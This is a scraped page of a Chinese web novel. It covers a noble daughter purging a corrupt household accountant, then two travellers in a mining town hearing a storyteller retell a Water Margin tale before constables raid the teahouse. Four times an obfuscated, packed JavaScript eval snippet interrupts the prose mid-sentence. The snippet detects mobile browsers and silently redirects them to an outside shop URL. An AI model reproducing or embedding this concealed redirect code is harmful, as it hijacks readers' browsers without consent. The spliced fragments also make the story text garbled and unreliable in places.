;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831496|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为磕碜。再者，方才所言也有投机取巧之嫌。 念及此，朝和已懒得再想。她心生厌烦。索性不答反问，径直道：“你是哪个？报上名来。” “回小姐。”那人闻言，先诧异了一瞬，少顷低眸又故作矜持道，“在下姓张，名伯汲，是如今的账房总管事。” 听他啰嗦，朝和心烦更甚，挑眉睃他一眼，又目不斜视道：“你是总管？好，那我便回你。” “你问我标准，但我要告诉你。” “相干就是相干，无关就是无关。你不必多询，反正也没什么折中之法。” 话落，瞥了眼张伯汲。 见其明显慌乱，大约是牵涉之事有许多，朝和遂又讥嘲：“同样的，沾了便是沾了，哪还分多少？你的衣裳，若溅上个墨点子，就不算脏了么？” 她如此说，其意已明朗。而张伯汲闻言，立时僵在当场，少顷启唇，却究竟发声不得，只好惶惶愣在原地，依旧不敢动弹。 朝和瞟了一眼，弯了下唇，须臾又缓声道，“若我记得不错，你是一两多月钱罢？赵峰走了，你顶替他上位，这才涨成二两。” 话落，朝和抿了口茶水，顿了顿，才接着说：“问你账目，便是说旧事，那我们便从头说起。” “你过去不到二两的月钱，在国公府维持生计已很不容易，却还要拿出银子补贴家用，当真是为难你。” 她如此唏嘘着喟叹，张伯汲却心内惊疑——他摸不清朝和的主意。 思虑片刻，也只好谨慎低头，回了句谦卑恭顺的话，感恩戴德了一会儿，便不再言语。 见他这番架势，朝和冷笑一声，也步入了正题：“不过，靠那点抠出来的闲钱，便供得起一家老小买房置地、穿绸裹缎，自己也可以摆酒设宴、好赏乐赌。” “张管事的算盘，打得很阔绰嘛。”朝和戏谑道。 “这不该来的余钱，究竟从哪里来，不如与我说明罢。”朝和笑吟吟道，“父亲大人叫我管家，我岂能辜负他老人家信任？自当严查了。”最后一句，她一字一顿道。 讥刺话落，四下也随之寂静，再听之时，也唯余朝和手边杯具撞案之闷响。 “嗒”得一声。 像一个小石子落下了。 这石子落在张伯汲耳边，又像砸进了他心里，撞得他心头沉重。 他注视着那瓷器，看着那瓷造的杯子，觉得自己也成了块石头，不知何时起就被丢进了大染缸，又被里面的釉水给淹没了。 他这样想着，却仿佛真被粉浆糊住了脸——不仅喘不上气，连容色也灰败。他惨白着脸，眼前也好似白花花的一片。 就这样，张伯汲战战兢兢地，又抬头晃了一眼。 也不知是瞧见了什么。 须臾，竟“咚”得响了一声。 朝和循声望去，却看不见张伯汲的身影。 而他原先所站之处，已被人团团包围，其间人推推搡搡，时不时爆发出尖叫： “昏了！昏了！” 一个小胡子惊慌失措。 “张先生晕倒了！” 他向外挥手，厉声呵斥道： “还愣着作甚，快去叫人哪！” 31. 提拔 张伯汲两眼一闭，双腿一蹬，朝后一栽，登时不省人事。 小胡子忙不迭回身抻手，架起张伯汲。 只看他喘着粗气，扭了头便忿忿呵斥：“你们都没长眼睛吗！” 将人往上提提，又冲围观的低吼：“还不过来搭把手？” 小胡子咬牙切齿道。 而围观的愣愣，又一窝蜂似的拥住了。 衣裳五颜六色，又是人头攒动。朝和看得眼睛疼；偏过头，对金徵低语了两句，便半眯起眼静默。 “你。”少顷，金徵快步上前，拍了拍小胡子的肩膀。 见对方怔怔回眸，“啊”了一声，又冷着脸言简意赅道：“小姐叫你。” “小姐、小姐叫我？”小胡子一惊，急急往朝和处瞟了一眼，便迅速应声道，“是，小人这就去！” 话落，将张伯汲一推，皱眉对两旁嘀咕道：“你，对，还有你！把人搀好了！” “若摔着了，有你们好果子吃的！”小胡子低声警告。话落须臾，又忙转头微笑。“姑娘？“他试探性地叫了声金徵，又侧眸瞥了眼她，方赶紧正色道：“让小姐久等了，我这就去！” 言谈间一溜小跑，眨眼的工夫，便立在朝和跟前了。“邱禑见过小姐！”小胡子恭敬拱手，低眉道。 朝和点头，打量了他片刻：“你也是此处的管事？”随即眼波流转，望罢了四周，又回看向他：“瞧他们都很听你的话哪。”见她昂首，笑吟吟道，邱禑垂眸，不卑不亢道：“回小姐的话。小人是副管事。” “副管事？”朝和重复，一面看着邱禑。 她无声了须臾，倏然勾了下嘴角。 “好啊。”朝和欣然开口，“那从即日起，你便升作主管。” 邱禑闻声，难以置信地仰头。 “小姐？”他怔怔道。 “作这副模样干甚？”朝和道，“国公府事务繁多，张伯汲又身子不爽。” 她眼神游移了一瞬，似笑非笑地瞥了眼张伯汲，便漫不经心道：“他这般主人家话未说罢便晕倒的孱弱姿态，怕也不堪劳累。” “邱禑。”朝和忽然道，“总管的位置要紧得很，所谓在其位谋其职，有能者居之，底下的人既皆服你，那这位置也该得你坐，只是，你可不能再教我失望了。” 朝和莞尔，笑意却不达眼底。 话毕，邱禑还不曾表态，人堆里的张伯汲却先抽搐了一下双腿。 有人见状，这时便狐疑开口：“张管事莫非醒了？” 而待须臾，又有人道：“哎！你戳他作甚？把他弄醒，你不又要挨打吗？” “嗨，都什么时候了。”前一人不以为然，他抬起下巴努努嘴，浑然不知怀里的人在往下滑，“如今可是邱管事做主了，还有小姐撑腰，我怕什么？” 这二人咕哝个不停，邱禑却耳聪目明。见张伯汲死鱼似的挂在人腰上、双眸紧闭而即将跌落，说话的二人却全然不晓；瞄一眼朝和，看后者缓缓移目，霎时冷汗沁骨。 当即低喝：“说甚呢？小姐跟前，也敢胡说？还不赶紧闭嘴？” 深吸一气，见朝和仍旧不言，遂接着道：“今儿也就是小姐，若换了旁人，似这般议论的奴婢，皮都不知被扒了几层，还由得你们继续胡说？” 说完，眉心又倒拧成个“川”字：“还愣着作甚？张管事都要躺地上了！还不快扶起来！” 只看他径直上手虚托了一把，朝左右使了个眼色，便匆匆回身作揖：“谢小姐托举！” 身量压得极低。 “小姐如此大恩，小人无以为报。”片刻后，他自责羞愧道，“本该尽心尽力，替小姐分忧解难；却管教不力，使两个爱嚼舌根的奴才闹到小姐跟前，小人真是该死！” 他跪下磕了个头，便起身低眉道：“但求小姐留着我这条狗命，小人必将功补过。” 听了此言，朝和斜他一眼，慢条斯理道：“瞧你说得，把我当什么了。” “把你那颗心放回肚里去。”朝和道，“如今当家的不是个‘暴君’，你既得力，那用得上你的地方且多着呢。” 她抬起下颌：“眼下张伯汲的摊子，不正需要人接手么？” “你眼睛好，手脚也麻利。”朝和笑盈盈道，“心明镜似的，更别提还生了张巧嘴。” 言及此，话锋一转：“只是有一点，你这脚下有些泥泞。” “不过究竟是浮在外头的，是以，也不要紧。” “只要别学你们张管事，为保几本烂账，硬搂着账目，以致烂泥从胸口渗进了内里，而把心脏了个底朝天，还不以为然就无甚大事。” “都跟他似的，晕到天荒地老，这公府还转不转了？”朝和戏谑了片刻，又抬眸看向邱禑，“——好在，邱管事运气不错。” “条件么，也算得上佳。” “既如此，便踏实干罢，只是绷紧着些心，平日里，也多提点提点自个。别哪天又看管不利，步了张伯汲的后尘，管不住自身还落偏了心，那就大事不好了。” 她眼含深意，话罢似笑非笑，神情依旧旧云淡风轻；而那厢邱禑闻言，额间却沁出汗珠。 他心知肚明，自己也拿过赵青言的好处。 虽不似张伯汲那般贪心不足蛇吞象，却也实打实地捞了些好处——只是捞得不多罢了。 ——可捞得不多又有何用？ 邱禑满心怅然。 他记得念书的侄子曾有一言，说一朝天子一朝臣。此处虽并非朝廷，可谁又能说此般道理落至内宅时便不适用？ 须知昔日与他们分钱的赵氏早倒了台！如今执掌中馈的是与她势同水火的二小姐！ 这两人斗起来是发了狠的不要命的架势，累及旁人之手段也毫不留情。 听听赵峰的下场罢！试问他们这些算账的有哪个能不畏惧？ 邱禑咽了咽唾沫，转念又悲戚起来，无力暗道：“可生而为人，就要养家糊口，又不是圣贤在世，岂有有钱不赚的道理？” 况论彼时劝他们入伙的说客口若悬河又说得天花乱坠，还打包票说有主母领头绝对出不来岔子—— 可惜世事多变，依旧逃不过天有不测风云。而一朝东窗事发，焉知不会殃及池鱼？ 赵峰，不已成了砧板上的第一条鱼么？ 思及此，邱禑的心愈发沉重。 赵峰攘利，则与其同居一室之共事者又岂有罔觉之理？ 若说他们其余人俱是清白而浑然不知，又有何可信？ 朝和既问得出赵峰的罪证，那想必他们这些人如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877287|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何她也了然于心。 如今她大权在握，拿张伯汲杀鸡儆猴，虽未对自己秋后算账，可此等威慑已足矣——邱禑是去是留，不过朝和一句话的事，他又有何反抗余地？ 心下想时，邱禑流着冷汗，仓皇得连头都不敢多抬，甚至还埋下去些许。 直至那汗滑在下颌边上，才沉声开口：“……是，小姐。您所言，小人必奉为圭臬。” 见邱禑话落而仍旧躬身屏息，一脸大敌当前的神情，朝和牵了下嘴角，道：“此等觉悟，也无愧底下的乐意跟你。” 邱禑依然低眉：“小姐谬赞。”听了此言，方冷汗暂歇。 朝和顾盼：“你们呢？” “是愿随张伯汲一并被拖出去再不录用，还是继续跟着邱禑？” 她笑吟吟地明知故问，底下人听言却悚然一惊。 今时不同往日了！这样想着，挨张伯汲最近、一直俯身望着他的两个人先叫起来：“小姐！自然是跟着邱先生！” “不错！”二人对视一阵，看朝和，“小姐，谁对我们好，大伙还不晓得么？” 忙回头道：“是不是？”又拼命使眼色。 他二人想：“这一声落下，纵是再木楞的人也该晓事了。” 须臾，见四周果然纷纷应声。了，才齐齐松了口气。 朝和冷眼看着他们，心里却很清楚：“他们这些人利害攸关，这是再明白不过的事，眼下如此选择，倒也算识时务。” “是用得上的。”朝和想。 何况他们在国公府做了不少年头，也能称一声老人——虽说曾与赵氏勾结，可也不能统统撤职。短时间内调不调得来这诸多好手且不必说，倘若因罢遣过多之故而致人心动荡惶惶不安，误了府邸运转，那就适得其反了。 思量了片刻，朝和抬起下颌：“那便就此定下了。” “近来国公府中净是喜事。先是国公爷大捷归来，国公夫人的陈年旧案又得以昭雪，真凶被绳之以法，主母也能安心于九泉之下。” “当下诸事顺遂，能看见皆大欢喜之景实属不易。”她有意在“诸事顺遂”“皆大欢喜”处顿了顿，“我也不愿因过去那些已成定局的小事闹得人心惴惴，索性既往不咎。” “所谓‘往日犹可追’，望诸位共勉。” 如是说完，便起身预备离开，而余下的听者也心知肚明——近来也并非净是喜事，还是有人犯了杀头的重罪的。只是朝和对此一字不提，其意味深长也不言而喻。 当下的国公府究竟是换了天了。 他们这样叹息着，朝和却冷不丁又一个回眸：“对了，张伯汲晕得这般厉害，一时片刻，料他也醒不过来。那你们便就此让他躺着再抬出去。” “可不能再累着了。” 她似笑非笑地说完这一席话，便施施然转了身，而账房先生们应了个“是”后，头却埋得更低了。 …… 城郊一辆马车正飞速行驶，本该飞卷的帘子却被人死死按住。 可尽管如此，却依旧漏了点缝隙，而自那间隙里，隐约透出些怨怼：“还不是我娘？” 那人嘟囔着，声音很低，像有所顾忌。 而少顷又嘀咕道：“马上入夏了，天儿热，谁乐意跟着你到处跑？” 32. 端城 正说时，马车一个颠簸，那少年脸上也随即扫过一缕天光；而银线绣就的抹额明明灭灭，他眸底也似被晃着了般一闪一闪；霎时眼波流转，又是不自然地偏头——俨然是心虚之态。 见此情形，卫翎道：“还有三青。”淡淡望容毓一眼：“你想要谁来？” 容毓——不错，正是那抹额少年——望见他这个眼神，不禁摸了下鼻尖：“我没想谁来……” 容毓咕哝着吞吞吐吐：“旁人都忙，我也晓得……”故而，卫翎也犯不着拿这么个神情望他罢…… 他这些心思，卫翎恍若未觉：“我外出，事情便全归花青管，他是走不得了。” “我知道你的意思。你是觉得三青没他哥靠谱，是么？” 容毓被噎住了。他扯了扯唇，却依旧是下意识反驳：“我当然知道。” “你说过了。”容毓瓮声瓮气地重复，“三青，‘胜在听话’嘛。” 卫翎乜他一眼，顿了顿，难得补充：“端城的情况如何，你早先听说过罢？此回是个苦差，想必你也清楚。俗话说，强龙不压地头蛇，若真碰上个硬茬，有三青在，你我也好办事。” 说着，望了眼前方。话里话外，皆是对三青的体格意有所指。 容毓撇了下嘴，显见是没从被顶的不满中回过劲来。可卫翎既如此说，他也只好点头，不情不愿地应了个“嗯”。 三青是习过武的，是以耳力也不错，乍听自个姓名，便含糊不清地冲车内“唔”了一声，全当是应答。 而后无话。 …… 端城穷山恶水，素来有“七山二水一分田”的说法。百姓耕种不易，不过希冀温饱，民生已然多艰；而城主廖知渔自发现金矿，便大肆号召壮丁开采，美名其曰上交朝廷充盈国库，实际中饱私囊。 那地方瘴气颇多，进去了焉有命在？侥幸归来也势必身患疟疾，苟活不了几日的；可倘若不从，被治个抗命不遵之罪，照旧是死。 官府沆瀣一气，互相勾结，以致百姓状告无门，被逼得难以生计，纵想过反抗，可青壮年死了不少，城主的私兵又着实欺压得厉害，谁又敢有多余的念头？端城究竟是个小地方。这里的人老实本分，既劫后余生，索性便得过且过。 被深山围着，被城主的人死盯着，自然有人看不过眼。偶尔也会冒出个有学之士热血沸腾地嚷嚷着发誓要“上达天听”，却总被叹不自量力。 时日久了，却惊觉自己的满腔抱负成了茶余饭谈，行走在大街小巷偶还引得人窃窃私语，羞窘而禁不住，渐渐地缄口不言也属情理中之事。只是他这嘴绷紧了，再想要一个有志之才为民请命可就难了。 …… 端城，一座茶楼内。 小二挤挤眼睛，强打起精神微笑：“二位客官，要点什么哪？” 容毓打量了他片刻，学着他接话：“你们儿有什么哪？” “有浓茶，客官。是提神的。”答完，觉腔调不同，小二难得抬了抬眼，却惊得倒抽一口气。 玉人哪！ 瞧这扮相，怎么着都是两个有钱的主！ “提神”之音将落，小二便话锋一转：“有！我们这儿什么都有！” 他信誓旦旦。 方才还无精打采，眼下却精神抖擞，容毓不禁看了他一眼：“当真什么都有么？” 听贵客戏谑，再念及万不能丢了生意，小二一咬牙，回道：“就是没有，只要您二位想要，小的拼死也买回来！” 见揶过了头，容毓忙阻道：“可别，有什么上什么罢，能解渴就成，不计较那些，越快越好！” 那小二闻言，很高兴地应了，少时便赶回来，喜滋滋地摆茶：“客官！茶！” 容毓点点头，看都没看一眼，随手便灌了一口，却当即咳嗽起来：“咳……咳咳咳……” 见他连咳不止，那小二也急急上前：“爷，爷？您没事罢？” 他诚惶诚恐地望了眼茶碗，心里忐忑不安：“实在对不住，爷，虽是粗茶，却已是小的能找见得最好的了……” 好在容毓只是摆摆手：“无妨，不干你的事。只是喝得急呛住了。”转头对看过来的卫翎：“呛住了，呛住了。” 话虽如此，容毓面前的茶却没再动，倒是卫翎，竟面不改色地喝了好几口。 容毓咳了半天，自觉也尴尬，见小二抱着托盘不知所措，忙招呼他望望楼下：“哎？底下好生热闹！怎么人忽然多了好些？” “哦！是慕先生来了！”小二恍然大悟。 容毓不解：“慕先生？”他望了眼卫翎。 后者与他对视片刻，却依旧默不作声，但将目光转向小二，听其后言。 “他是个说书先生，常驻我们这儿的。素日要么讲学要么讲戏折子，大伙爱热闹，这才都进来听。”小二一副有荣与焉的样子。 “市井如何萧条，您二位一路走来，想必也瞧得清楚罢？”小二叹息着摇头，“说起我们这茶馆儿，地处本也不算差，可端城是这样的情形，采矿的事又是推脱不得的……” 言及此，他迟疑了一下，又赶紧接道：“总之，若此处不是个卖浓茶的馆子，怕是早就倒闭了；我们这些人，怕是连糊口也难哪。” 他擦擦脸，把毛巾往肩上一撂，苦笑了两声，便指指楼下：“生意已然这般不景气，若非慕先生至此讲书，恐怕老板的淡茶都要卖不出去了。” 话落，竟还生硬地补了一句：“真门可罗雀，我们到哪里哭呢？” “近些年，大伙儿都习惯喝浓茶了。”说到这里，他笑了一笑，“可听戏嘛，有吃有喝才有意思，听戏是为了找乐子，品那苦得要命的浓茶干甚？自然是喝淡茶来得清爽。” “这不，生意不就来了？”小二遥望楼下，“掌柜的也说感念慕先生。” “毕竟，人家可不要钱哪。” “不要钱？”容毓惊诧，不由得望了卫翎一眼，“天底下竟有这般的人？” “就是说哪。”小二慨叹，“慕先生高风亮节，无薪也按时讲书，我等自愧不如。” “按时？”容毓又咋舌，“不会是天天来罢？” 卫翎依旧默默听着。 “不不不。”小二摇头，“他这人，可聪明着哪！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915909|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他三天来一次！” “‘三天来一次’。”容毓琢磨，“他讲得是甚么戏？爱听的人，竟这般多？” 卫翎虽未置一词，却始终凝神静气。 小二支吾了一会，眼神飘忽了一瞬：“……小的，小的说不上来，反正是回回不一样！” 容毓大惊：“回回不一样？”肚子里这么多墨水？ 小二点头：“纵是一样，讲法也不尽相同。” 他想了想，又道：“反正我们这帮大老粗是听不出甚么的；慕先生要不明说，还全当是新戏哩！” “这么说，是讲得很扣人心弦了？”容毓兴致勃勃。 乍一听“扣人心弦”，小二愣了一瞬，方梗着脖子道：“那必然了。” “折子戏这种东西，自然是有趣儿的才听，一帮粗人，又不是文人墨客，要懂甚么内涵？一样不一样，就图个欢愉，旁的？那不该我们想啦！” 小二语调轻松，话落，还不忘乐陶陶地又询了一遍：“二位爷，您们说，他这不是很聪明么？” 卫翎心道：“讲书间隔三天，显见是吊人胃口，而所吊者何人自然不言而喻；欲擒故纵而早居高位，上至掌柜，下至跑堂，都未有不视其作救命稻草者。 不通文墨且对此不以为意的升斗小民口中竟也蹦得出几个文邹邹的字词，话里话外，还对这位慕先生推崇备至，足见后者高明得很。” “——的确聪明。”卫翎点点头，说。 他沉寂已久，冷不丁开口时，登时把容毓吓了一跳。 容毓尚在愣怔，小二已喜笑颜开，对卫翎：“是罢？我就知道您也觉得。” 说着，又望了眼楼下，笑眯眯道：“您瞧，慕先生已坐下了！” 众人一瞧，见果真有个清瘦书生，坐在书台后。 慕先生柳眉星目，面庞白净，形容俊俏，仪态端庄。观齿岁二十上下，气度沉稳又从容。 谈笑间，醒木一响，慕先生随即开口，缓缓道：“书接上回，梁山那一百零八好汉被招安后，风云流散……” 容毓嗑了枚瓜子，便先入为主，偏头对卫翎道：“一个文弱书生，讲水浒活阎王？真是人不可貌相。” “……征方腊，披龙袍，凶悍狂妄可想而知！他梁山泊明里暗里得罪了多少人？怕是数也数不清！” “只是罢官免职又何妨？贬遣回家又怎样？照旧天作被，地为床，洒脱快活赛神仙！” 容毓摇头一叹，醒木又一响：“……可时日一久，仇家照旧，阮小七却不复当年孔武。索性改唤萧恩，携女儿桂英居太湖之所。” “自此泊船芦花深处，撒网捕鱼为生，唯求一方逍遥。” “好心性哪。”此时有人感慨。 “血山里拼杀出来，最终归了老本行，究竟是英雄迟暮，要图清静啦。” 唏嘘还未话落，醒木已重重一响：“非也！” 慕先生朗声道：“阮小七虽改唤了萧恩，手头却有件相关的宝贝！” “宝贝在手，又岂能安宁不成？！” “宝贝？什么宝贝？”有听者大声问。 33. 说书 “自然是那花家的庆顶珠！” “庆顶珠？庆顶珠？”一众人面面相觑，对慕先生，“敢问先生，这庆顶珠是甚！” “还有花家！”有人想起来，“花家是哪个？” “啪！”醒木又是一响。 “问得好！” 慕先生嘴角噙笑，说起书来双目炯炯。 “梁山泊一百单八好汉，‘小李广’花荣，不也位列其中么？” “花荣的儿子花逢春生的相貌堂堂，少年虎将一手箭法使得出神入化；而萧恩的女儿萧桂英花容月貌，自幼耳濡目染武艺也不必多说。” “两个爹是袍泽兄弟，生死之交，两家既门当户对，又郎才女貌，也称得上佳偶天成。而这庆顶珠——” “便是梁山泊的信物，也是花逢春送给萧桂英的聘礼。” “哦！”人群中恍然大悟。 “他萧恩，曾是梁山活阎罗；纵然遭贬归乡，那也是条英雄好汉！得遇旧友必定把酒言欢。” “一日，萧恩与闺女泊船，要把鱼打捞上岸，一边撒网，还一边笑，说让桂英将鱼烹煎。他二人言笑晏晏，忽闻岸上有人呼喊，萧恩定睛一瞧——” “客官，你猜怎么着？竟是碰上了昔日拼杀的弟兄！” “一个混江龙李俊，一个卷毛虎倪荣，三人喜笑颜开之际，却有个汉子在岸边偷看！” “什么？这等温情之景，则甚要这般？”有人嚷嚷，“太不要脸了！” 醒木一响。 “这偷看的汉子姓郭，是丁员外家的先生；为何偷觑，自是见那桂英美貌非凡！” “呸！”此刻有人道，“衣冠禽兽，料那姓丁的也不是甚么好物！” “客官言之有理。”慕先生点头，“这丁员外郎，还真就不是个东西！” “他是地主嘛，自是要绞尽脑汁地寻机会，想方设法地压榨百姓。” 见听者深以为然地点头，慕先生继续道：“可天生万物，皆有不同；此乃物之情也，人难免于俗。故而地主地主，嚯嚯人的方儿自也不同。诸位可知，这丁员外郎之手段为何？” 醒木顺势一拍。 “须知早先时候太湖便遇上了百年难见的大旱，以致庄稼人种地却颗粒无收，渔民撒网却几乎空无一物；温饱已成了难题，可见民生多艰！熟料屋漏又偏逢连夜雨——” “萧恩竟一病不起。” 底下有人抽气。 “病了没得生计，只好向租他房子租他船的丁员外郎借贷，依此度日。”慕先生悲悯，“高利贷，渔税，租金——诸位，利滚利只会愈发多，这萧恩年过半百，精神已大不如从前，病愈了是好，可这钱，他还不上哪！” “那丁员外郎，眼见他还不上，便先派了那个姓郭的打头探探风声，紧接着就叫了自家儿子——催债来了！” “这甚么鸟人？”有人愤懑。 亦有心细的问询：“先生！萧恩再不济也是自梁山里杀出来的英杰，早年便以渔猎为生；纵然英雄迟暮，可怎么着不至于连条船都要借罢？” 慕先生听了，当即一拍醒木，赞赏道：“客官这句，正问在点上。”转而叹道：“他也不想哪！可还不是那姓丁的觊觎宝贝，想将庆顶珠据为己有？” 这时一人调侃：“嗨，老哥！你没听先生方才说么？庆顶珠是梁山的信物，只要手持此物，便能在水下来去自如！” 另一人叹息：“果真是好宝贝！怪不得那丁员外想要！” 慕先生接着说：“月黑风高点火毁船，固然是丁老爷的勾当；但那县衙与丁家勾结，萧恩哪还查得出来？被逼无奈，只得租了附近大户，丁员外郎的船。” 醒木重重一拍：“言归正传。这催归催，闹归闹，手头没银两，无论是债是税，这萧恩都还不成。没法子，只好求丁郎儿宽限几天，说一定把债还。” 众人聚精会神。 “昔日恣意狂妄的弟兄低声下气，李俊跟倪荣哪受得了这个场面？三言两语怼走了丁郎儿，说， ‘问圣旨你没有，要户部公文你说无，凭着个县太爷的所断，竟公然与我俩叫板；告诉你那个太爷，萧兄的鱼税不免，日后碰上我俩，等着剥皮抽筋罢’！” 有人叫：“好！好！” 慕先生：“二人雄赳赳，气昂昂，吓跑了丁郎儿；话别萧恩，前脚刚走，后脚便冒出个教师爷。客官，这丁家的教师爷好大的排场，一人在前，四个徒弟在后，净是打手。” “这五个泼皮叉腰一站，便遮住了半边日头，对萧恩大喝：‘江是丁员外的江，鱼也是丁老爷的鱼！姓萧的，你想捕鱼，速速将渔税缴来！’” “‘师傅，租金也涨啦！’教师爷一徒弟道，“三倍！萧恩，你交不交？”’ “见萧恩不依，那几个无赖竟扯过锁链，当即就要捆住拖走哪！” “还说再不肯，桂英也一并拉走！” 堂中一人：“欺人太甚！” 慕先生高声道：“的确是欺人太甚！萧恩虽英雄迟暮，却也是血气方刚，怎堪得回回此般折辱？逼急了他，谁来都得被痛殴！” “好！这才算汉子！”有人点头。 有着急的一拍大腿：“那究竟是打了没有？” “打了！”慕先生弯唇，“不仅老子打了，女儿也出了力！说时迟那时快，桂英听了动静，一把抄起笤帚，当即朝教师爷冲了过去！” “所谓虎父无犬子，一打一个准！” “好！女中豪杰！”一众人抚掌大笑。 “两个打一个，那教师爷自然不敌，当即携了徒弟，一溜烟窜了。” 醒木一响：“虽出了恶气，可萧恩究竟是个父亲，他不能不为女儿考虑。” “念及泼皮前言，说要抓桂英抵债，萧恩这心头便疼得一跳一跳。” “分明是他们有理，何苦要他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918146|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭灾？萧恩心火熊熊，越想越气，到底是愤懑不平。终于——” “他下了决心，对桂英说： ‘我们去报官！’” 言及此处，本该热血沸腾，听众却莫名踟蹰；慕先生见状，只是抿了下唇角，继续沉声道：“萧恩是不忍了，可他万万没想到，压根轮不到他叫屈鸣冤。” 惊堂木一响：“萧恩一进公堂，县太爷也不听他言语，冷喝其‘欠税不交，群殴闹事，诬告良善’，当即重打了四十大板！青天在上！萧恩无辜受难，却被打得鲜血淋漓，这苦难冤屈，眼下竟无一人可以诉说！” 慕先生扫视一圈：“须知，那萧恩有先发制人之心，丁家焉无倒打一耙之思么！白花花的银子，谁能不爱？那县太爷，早就被丁老爷贿赂了！” 慕先生痛呼：“公堂之上，本该明镜高悬，是非分明；而浊者自浊，清者自清，怎奈何狗官当道，尽数蝇营！这世道，怎成了这般模样？” 激昂之时，惊堂木震天一响，万籁俱寂，唯慕先生之语掷地有声：“究竟是世道变了，还是人变了？” ——他像在说书，又像在说别的甚么；而落了此言，依旧鸦雀无声。 慕先生苦笑：“——亦或是……两者皆有？” 说至后半句时，放轻了语调。 …… 容毓一条胳膊搭在阑干上，目光下视：“这先生倒有才学。” “讲书果真有趣。”话落回望卫翎，“二哥，你怎么看？” 卫翎点头：“是个有志之士。”看小二：“这位慕先生，出生便在端城么？” 小二听得出神，乍一闻言，难免惊了一下，面上流露出些许茫然：“啊……啊！” “不不不！”回神赶紧摇头，“慕先生也是外地人。据说，他常年游历，近两年途经端城才有心定居，后便驻于此。” “外地人。”卫翎心里琢磨，顺带扫了眼堂中，续而面不改色道：“这样。”卫翎点头，转眸又对容毓：“小毓，走，我们下去。” “下去？”容毓诧异抬眸，看着卫翎茫然开口。 但只愣怔了一瞬，便迅速回神道：“走走走！” 只听他兴冲冲道：“恰好，我亦想结识一下这位慕先生。” 语声未落，便起身掸了掸衣袍。他拾掇了一番，便立时朝卫翎移目。 容毓张了张口，便要唤卫翎一声，谁料这一声“二”还未脱口，竟听得楼下刹时传来倏然骚动。 “什么人？” 有人惊慌，大声说。 “你们要作甚？” 底下吵吵嚷嚷，容毓闻声一惊，忙俯身朝阑干探看；而卫翎亦不敢耽搁，快步跟着上前。 他二人定睛一看，神情霎时凝重。 不知何时，楼下竟多了几个五大三粗的汉子。 身着皮甲，手持棍棒，正四顾叫嚷。 ——竟是端城的巡捕。 34. 巡捕 这些个五大三粗的人一进来，登时引得人四散流窜；恰逢此时，却有人“腾”得一声站起来，大声说：“找人？你要找什么人？” 那巡捕膀大腰圆，下意识回眸却依旧不免愣怔——大约是没料到竟有人敢与他叫板。 回神定睛一看，见说话那人竟仍旧立定在原地甚至眉毛紧锁，当即噌噌起火。 冷笑：“我要寻甚么人，你们不晓得么？” “少来明知故问打掩护！”那巡捕厉声说。 少时，不过望了跑来汇报的人一眼，嚷嚷声脱口而出：“什么？前门没有？” “该死的！不会又叫这小子跑了罢？”那巡捕低声咒骂着，抬眸恰好瞥见先前发声的汉子，便顺势唾了一口，恨声道，“一帮刁民！就知道与姓慕的同流合污！” 对另外几个巡捕：“你，对，还有你！去后门搜搜，别教那混账跑了！” 而在那胖巡捕不远处，还立着一位巡捕。他模样高瘦，原本只冷冰冰地看着，此刻也大喝起来：“老实交代！” 他盯着那汉子，眼神阴森森：“你们把慕好藏哪里去了？” “寻不着慕好，你们这些人都逃不了干系！”瘦巡捕冷笑。 此刻，尚未走净的百姓堆里竟又冒出个声音：“凭什么？” 说话的是个青年。他两股战战，嗓门却很高；站在门口，显见是半路停下来的。 此刻众巡捕闻声看去，却见那青年强装镇定道：“凭什么？” ——他竟又重复了一次。 胖巡捕先笑了：“哈！又来个逞英雄的！” 指了指依旧正立的汉子，对青年恶狠狠地开口：“好哇，你二人既皆不想走，那便全留下！” “抓起来！即刻扭送衙门！”胖巡捕高声道，“妨碍公务，有你们好果子吃的！” 少时，见手下将挣扎的青年与汉子反手扭在背后，便转头对瘦巡捕：“今儿是怎地了，这多出头鸟？” 